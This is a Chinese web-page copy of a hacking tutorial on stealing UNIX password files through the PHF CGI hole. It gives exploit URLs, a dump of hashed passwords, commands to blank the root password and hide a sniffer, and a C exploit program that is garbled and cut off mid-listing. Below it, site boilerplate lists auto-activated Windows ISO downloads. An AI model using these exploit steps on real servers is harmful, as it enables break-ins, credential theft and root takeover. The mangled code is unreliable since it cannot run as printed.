从UNIX系统获取密码档(一)
目录:
PHF:WWW的PH查询
PHF查询攻击新方法
从新手处获取
获取shadow密码档
获取/etc/hosts档
本文列举了几种从UNIX系统获取密码档的方法。其中大多数方法要求你拥有一个
有效帐号;但也有不需帐号也可访问系统的方法。在这里你还能知道完整的密码档与
shadow密码档的区别,并学习到如何读取shadow密码档。
--------------------------------
PHF:WWW的PH查询
如果在WWW的cgi-bin的目录下有一个名为phf的可执行(具有x权限)程序,那么你就
可以通过WWW或LINUX的文本浏览器lynx访问它。该功能允许你读取系统上的文件,如
/etc/passwd等,并保存在本地机上。
以下是我们所需要做的。如果httpd服务器是由root根用户运行的,通过使用phf,我
们可以成为该服务器的root用户;甚至修改服务器上某个用户的密码。
这里有一个perl脚本,它对使用上一章中的getdomain.pl脚本所得到的结果进行检测,
并检查运行服务器的用户。如果是root用户,它就记录其id;如果不是root用户,则会自动
从/etc目录下读取passwd档,并保存为domain.???.passwd文件。
我还会给出另一个脚本,它允许你从一个shell中运行一条命令。只要该系统有phf,
你就可以在shell中输入一命令行,通过管道命令传送到远程系统上执行。
OK。现在你该知道下一步是什么了?让我们来学习如何利用phf。
把你最喜爱的web浏览器或是UNIX系统中经常使用的lynx文本浏览器连接到网络上。
在浏览器窗口或屏幕出现后,键入g(译者注:即使用浏览器的“go”功能)。便会
出现以下内容(译者注:以lynx为例):
URL to open:
Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list
在URL to open: 处输入:http://xxx.org/cgi-bin/phf/?Qalias=xid
URL to open: http://xxx.org/cgi-bin/phf/?Qalias=xid
Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list
返回如下内容:
QUERY RESULTS
/usr/local/bin/ph -m alias=x id
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
以上内容表明:运行服务器的用户是nobody。因此,我们便成为了该服务器的nobody
用户。虽然我们还不是root用户,但必将是。 ;-)
命令行:
http://afp.org/cgi-bin/phf/?Qalias=xid
id是一个命令,它要求服务器返回用户的id。有时我们需要给出全路径,比如:http://afp.org/cgi-bin/phf/?Qalias=x/usr/bin/id
注意后面是命令行内容。如果你想输入一个空格符,就要用 代替,以下是经常
要用到的几个命令行:(以开始)
显示passwd密码档:
/bin/cat /etc/passwd
获取/etc目录下所有以pass开始的详细文件列表:
ls -al /etc/pass*
如果你有访问http的root用户权限,备份passwd文件为passwd.my文件:
cp /etc/passwd /etc/passwd.my
更改root用户密码(服务器往往会允许你这样做 ;-) ):
passwd root
(以上命令可以让你在以root用户登录时不需输入密码,(译者注:也就是更改root用户
的密码为空,然后再telnet该主机。)别忘了将passwd.my恢复为passwd(译者注:恢复
root用户的旧密码),删除备份文件,然后你就可以运行一个合适的shell,并将其隐藏起来
作为嗅探器(sniffer)来获取所需的密码了。)
只要你知道如何在UNIX中输入命令,同时没有忘记使用 来代替空格符,你就不会遇
到什么困难!
OK。现在让我们来获取本例中的passwd档吧。;-)
URL to open: http://xxx.org/cgi-bin/phf/?Qalias=xcat /etc/passwd
我们将会看到:
QUERY RESULTS
/usr/local/bin/ph -m alias=x cat /etc/passwd
root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:-2:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
(一个小小的密码档 ;-) )
如果你希望保存这个文件,只要在文本浏览器中选择“打印”和“保存
为文件”即可。
现在让我们了解一下paaswd档的结构:
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
1 :2 :3 :4 :5 :6 :7
1=用户名 2=被加密的密码 3=用户标识 4=用户组id 5=真实名字
6=用户根目录 7=shell
好。假设你不想使用WWW浏览器,编译并执行以下脚本也可以达到目的:
phf.c
------ cut here----
/ Some small changes for efficiency by snocrash. /
include
include
include
include
include
include
include
int main(argc, argv)
int argc;
char **argv;
{
int i = 0, s, port, bytes = 128;
char exploit[0xff], buffer[128], hostname[256], *command, j[2];
struct sockaddr_in sin;
struct hostent *he;
if (argc != 3 && argc != 4) {
fprintf(stderr, "Usage: %s command hostname [port]", argv[0]);
exit(1);
}
command = (char *)malloc(strlen(argv[1]) * 2);
while (argv[1][i] != '\0') {
if (argv[1][i] == 32) strcat(command, " "); else {
sprintf(j, "%c", argv[1][i]);
strcat(command, j);
}
i;
}
strcpy(hostname, argv[2]);
if (argc == 4) port = atoi(argv[3]); else port = 80;
if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) {
he = gethostbyname(hostname);
if (he) {
sin.sin_family = he->h_addrtype;
memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0],
he->h_length);
} else {
fprintf(stderr, "%s: unknown host %s", argv[0], hostname);
exit(1);
}
}
sin.sin_family = AF_INET;
sin.sin_port = htons((u_short) port);
if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) {
fprintf(stderr, "%s: could not get socket", argv[0]);
exit(1);
}
if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
close(s);
fprintf(stderr, "%s: could not establish connection", argv[0]);
exit(1);
}
sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X%%s", command);
free(command);
write(s, exploit, strlen(exploit));
1推荐系统
番茄花园 Windows 10 极速企业版 版本1903 2022年7月(32位) ISO镜像快速下载
语言:中文版系统大小:3.98GB系统类型:Win10番茄花园 Windows 10 32位极速企业版 v2022年7月 一、系统主要特点: 使用微软Win10正式发布的企业TLSB版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过程中自动激活
新萝卜家园电脑城专用系统 Windows10 x86 企业版 版本1507 2022年7月(32位) ISO镜像高速下载
语言:中文版系统大小:3.98GB系统类型:Win10新萝卜家园电脑城专用系统 Windows10 x86企业版 2022年7月 一、系统主要特点: 使用微软Win10正式发布的企业TLSB版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过程
笔记本&台式机专用系统 Windows10 企业版 版本1903 2022年7月(32位) ISO镜像快速下载
语言:中文版系统大小:3.98GB系统类型:Win10笔记本台式机专用系统 Windows 10 32位企业版 v2022年7月 一、系统主要特点: 使用微软Win10正式发布的企业TLSB版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过
笔记本&台式机专用系统 Windows10 企业版 版本1903 2022年7月(64位) 提供下载
语言:中文版系统大小:3.98GB系统类型:Win10笔记本台式机专用系统 Windows10 64专业版 v2022年7月 一、系统主要特点: 使用微软Win10正式发布的专业版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过程中自动
雨林木风 Windows10 x64 企业装机版 版本1903 2022年7月(64位) ISO镜像高速下载
语言:中文版系统大小:3.98GB系统类型:Win10新雨林木风 Windows10 x64 企业装机版 2022年7月 一、系统主要特点: 使用微软Win10正式发布的企业TLSB版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过程中自动激活
深度技术 Windows 10 x64 企业版 电脑城装机版 版本1903 2022年7月(64位) 高速下载
语言:中文版系统大小:3.98GB系统类型:Win10深度技术 Windows 10 x64 企业TLSB 电脑城装机版2022年7月 一、系统主要特点: 使用微软Win10正式发布的企业TLSB版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过程
电脑公司 装机专用系统Windows10 x64 企业版2022年7月(64位) ISO镜像高速下载
语言:中文版系统大小:3.98GB系统类型:Win10电脑公司 装机专用系统 Windows10 x64 企业TLSB版2022年7月一、系统主要特点: 使用微软Win10正式发布的企业TLSB版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过
新雨林木风 Windows10 x86 企业装机版2022年7月(32位) ISO镜像高速下载
语言:中文版系统大小:3.15GB系统类型:Win10新雨林木风 Windows10 x86 专业版 2022年7月 一、系统主要特点: 使用微软Win10正式发布的专业版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过程中自动激活系统,无
相关文章
- win7无线WIFI网络怎么取消自动连接?
- ARP攻击防范简易教程
- Win7系统设备管理器里没有网络适配器的原因及解决方法
- Windows update提示某些设置由您的系统管理员管理如何解决?
- Win7无法保存凭据导致网络打印机脱机怎么办 解决方法介绍
- 资源管理器老是重启 win7资源管理器重启的解决办法
- 最新win2003 II6解析漏洞实战及应用
- 80sec网站感恩节被攻击事件分析
- WannaCry病毒劫持文件怎么恢复?阿里云云盾勒索病毒文件恢复的使用教程
- 网站中Global.asa木马的快速清除方法
- 详解黑客最喜欢使用的三种关机方式 黑客的关机图文视频教程
- Mysql 另类盲注中的一些技巧小结
- rootkits病毒的原理介绍以及解决办法
- 从UNIX系统获取密码档(二)
热门系统
- 1华硕笔记本&台式机专用系统 GhostWin7 32位正式旗舰版2018年8月(32位)ISO镜像下载
- 2雨林木风 Ghost Win7 SP1 装机版 2020年4月(32位) 提供下载
- 3深度技术 Windows 10 x86 企业版 电脑城装机版2018年10月(32位) ISO镜像免费下载
- 4电脑公司 装机专用系统Windows10 x86喜迎国庆 企业版2020年10月(32位) ISO镜像快速下载
- 5深度技术 Windows 10 x86 企业版 六一节 电脑城装机版 版本1903 2022年6月(32位) ISO镜像免费下载
- 6深度技术 Windows 10 x64 企业版 电脑城装机版2021年1月(64位) 高速下载
- 7新萝卜家园电脑城专用系统 Windows10 x64 企业版2019年10月(64位) ISO镜像免费下载
- 8新萝卜家园 GhostWin7 SP1 最新电脑城极速装机版2018年8月(32位)ISO镜像下载
- 9电脑公司Ghost Win8.1 x32 精选纯净版2022年5月(免激活) ISO镜像高速下载
- 10新萝卜家园Ghost Win8.1 X32 最新纯净版2018年05(自动激活) ISO镜像免费下载
热门文章
- 1华为手环6pro有游泳功能吗-支持游泳模式吗
- 2重装上阵新赛季有哪些重型武器_重装上阵新赛季重型武器列表
- 3系统之家win8笔记本推荐
- 4AMD锐龙R3-1200性能怎么样 AMD Ryzen 3 1200深度评测
- 5揭盖中乐视会员?康师傅饮料瓶盖编码泄露,中了也白中
- 6使用win7中本地搜索功能时四个技巧快速找到文件的操作方如何用win7的搜索功能法
- 7premiere怎么更改素材序列? premiere更改序列设置的方法
- 8天天酷跑布鲁与冰原狼仔哪一个好 布鲁好还是冰原狼仔好
- 9斐讯k1路由器刷Breed BootLoader(不死UBoot)教程
- 10路由器密码忘了怎么办 无线路由器登陆密码忘了解决方法【详解】
常用系统
- 1深度技术 GHOSTXPSP3 元旦特别 电脑城极速装机版 2022年1月 ISO镜像高速下载
- 2电脑公司 装机专用系统Windows10 x86喜迎国庆 企业版 版本1507 2021年10月(32位) ISO镜像快速下载
- 3笔记本系统Ghost Win8.1 (X64) 全新纯净版2019年11月(永久激活) 提供下载
- 4深度技术 GHOSTXPSP3 电脑城极速装机版 2020年3月 ISO镜像高速下载
- 5雨林木风Ghost Win7 x64 SP1 极速装机版2019年7月(64位) 高速下载
- 6电脑公司 Ghost Win7 x64 Sp1 装机万能版 2018年8月(64位)ISO镜像下载
- 7番茄花园 Windows 10 官方企业版 2020年10月(64位) ISO高速下载
- 8新萝卜家园电脑城专用系统 Windows10 x86 企业版2021年9月(32位) ISO镜像高速下载
- 9笔记本&台式机专用系统GhostWin7 64位旗舰版2019年6月(64位) 高速下载
- 10深度技术 GHOSTXPSP3 电脑城极速装机版 2022年7月 ISO镜像高速下载